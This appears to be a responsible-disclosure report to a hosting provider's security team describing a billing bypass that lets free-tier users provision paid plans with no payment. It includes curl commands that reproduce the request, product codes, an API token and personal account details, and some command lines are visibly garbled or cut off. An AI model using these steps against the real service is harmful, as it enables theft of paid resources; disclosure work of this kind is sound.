|
Task Description
Hello alwaysdata security team,
I'd like to report a billing/business-logic bypass in the customer administration panel (admin.alwaysdata.com) that allows a regular Free-tier customer to provision paid hosting plans — up to and including the X-Large plan (€165/month) — with full paid-tier resources activated, while having a €0.00 prepaid balance, no payment method on file, and no invoice generated. The paid resources (verified: 500GB disk, 8GB RAM, 8 CPU for X-Large) are usable immediately.
I tested this only against my own self-owned test accounts (free-tier, self-signed-up). No other customer's data was accessed and no real payment was attempted.
Summary
Your published billing model is prepaid: "Every invoice issued debits your prepaid alwaysdata account for the amount owed. You need to credit this prepaid account to cover your debits." (help.alwaysdata.com/en/docs/admin-billing/billing/payment-methods/), with an optional direct-debit alternative.
In the "create a new hosting account" flow (admin.alwaysdata.com/admin/account/add/), choosing a paid plan (product = Small/Medium/Large/X-Large) and submitting the form returns HTTP 302 → /subscription/ and provisions the account ACTIVE immediately. There is no payment page, no card/payment-method prompt, and no invoice at order time — even when the prepaid balance is €0.00 and no payment method is registered. The full paid-tier resource quota is actually allocated and usable.
This means a regular login can repeat the request to create unlimited paid-tier hosting accounts (up to X-Large) for free.
Affected endpoint
POST https://admin.alwaysdata.com/admin/account/add/ Authenticated (regular Free-tier customer session cookie + CSRF token).
Steps to reproduce
Prerequisite: a self-signed-up Free-tier account (no payment method on file, €0 balance). All actions performed from my own test login (hardikdevaliya7+adtest.a@gmail.com, account name "bbtestacctalfa").
Step 1 — confirm starting state (€0, no card): curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No transaction' # → €0.00 , No transaction
Step 2 — get a fresh CSRF token: curl -s -b jar.txt -c jar.txt "https://admin.alwaysdata.com/admin/account/add/" -o add.html CSRF=$(grep -oE 'name="csrfmiddlewaretoken" value="[^"]*"' add.html | head -1 | grep -oE 'value="[^"]*"' | sed 's/value=";s/"')
Step 3 — the vulnerable request: create a PAID X-Large account with no payment: curl -i -b jar.txt -c jar.txt \
d "csrfmiddlewaretoken=$CSRF" \
-data-urlencode "name=bbtestxla" \
-data-urlencode "password=XlTest#2026Qzx" \
d "product=2011" -d "period=1mo" -d "location=datacenter_3" \
d "contract_28=on" -d "contract_36=on" -d "submit=Submit" \
-
"https://admin.alwaysdata.com/admin/account/add/" Observed result: HTTP/2 302, location: /subscription/ — no payment page, no card prompt,ctivated.
Step 4 — verify the paid resources are actually granted (not just a label), via the publ TOKEN=7463e74f484f4e2698fb8db108908de7 # API auth: HTTP Basic, key as username, empty password, account scope in username curl -s –user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/subscription/" # returns the new subscription: # id=522516, product=/v1/product/2011/ (X-Large), price=165.00, period=1mo, # object=/v1/account/502176/, date_expiry=2026-10-25, active
curl -s –user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/account/5 # → {"id":502176,"name":"bbtestxla","product":{"href":"/v1/product/2011/"},…}
Switching the active account to bbtestxla and opening /account/usage/ shows the real quota allocated: - Disk: 500GB, Processor (CPU): 8 CPU, Memory (RAM): 8GB — all 100% available. The panel is fully functional on the new account (/database/, /ftp/, /ssh/, /site/ all return 200).
The same was reproduced for the Small plan (product=2008, €6/month): subscription 522507, account 502167, quota verified 50GB / 1GB / 1 CPU.
Step 5 — confirm no payment / no invoice exists after provisioning the paid accounts: curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No tran # → €0.00 , No transaction (still zero, no invoice, no payment method)
Product codes (from the add-account form)
┌──────┬─────────┬────────────────────────┬──────────────┐ │ code │ plan │ resources │ price │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2012 │ Free │ 1GB / 256MB / 0.25 CPU │ €0 │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2008 │ Small │ 50GB / 1GB / 1 CPU │ €6 / month │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2009 │ Medium │ 100GB / 2GB / 2 CPU │ — │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2010 │ Large │ 200GB / 4GB / 4 CPU │ — │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2011 │ X-Large │ 500GB / 8GB / 8 CPU │ €165 / month │ └──────┴─────────┴────────────────────────┴──────────────┘
Impact
- A regular Free-tier login can create unlimited paid-tier hosting accounts (up to X-Large: 500GB / 8GB RAM / 8 CPU each) activated with no payment and no payment method on file. - Free paid-tier compute/storage at scale, bypassing your prepaid billing model entirelyimmediately usable (databases, sites, SSH, FTP, etc.).
What I tested and ruled out
- This is not an IDOR / missing-ownership-check: cross-account access on both the admin waysdata.com) is properly scoped (foreign objects return 404, the API's customer=parameter returns "Invalid user" without granted permission). I swept 8+ resource families on both surfaces. - The exploitation requires the attacker to be a logged-in customer (free self-signup).
Open caveat (stated honestly)
I could not wait until the 1-month renewal (2026-10-25) to see whether alwaysdata generaal and suspends the account if unpaid. The PoC stands regardless — paid resources aredelivered ACTIVE at order time with €0 balance, no card, and no invoice. If the intended design is post-paid (invoice at renewal), that appears to contradict your own published prepaid billing model; either way, delivering paid-tier resources with no upfront payment and no payment method is the
Live PoC accounts (kept active for verification)
All under login hardikdevaliya7+adtest.a@gmail.com, billing €0, no payment method: - bbtestsmalla — account id 502167, Small €6/mo, subscription 522507, expiry 2026-10-25 - bbtestxla — account id 502176, X-Large €165/mo, subscription 522516, expiry 2026-10-25
Please feel free to inspect or suspend these. Let me know if you'd like me to delete theence.
Evidence
I can provide on request: - Full curl command list for every step. - Screenshots of: the subscription page (Free + Small + X-Large all active), the billing), the X-Large /account/usage/ (500GB/8GB/8CPU), and the add-account form showing the paid plans selectable. - Burp Repeater request/response pairs.
Please let me know if you can reproduce, and your assessment of severity. I have not dis will wait for your reply / a patch before any publication, per your policy.
Thank you, hardikdevaliya7@gmail.com
|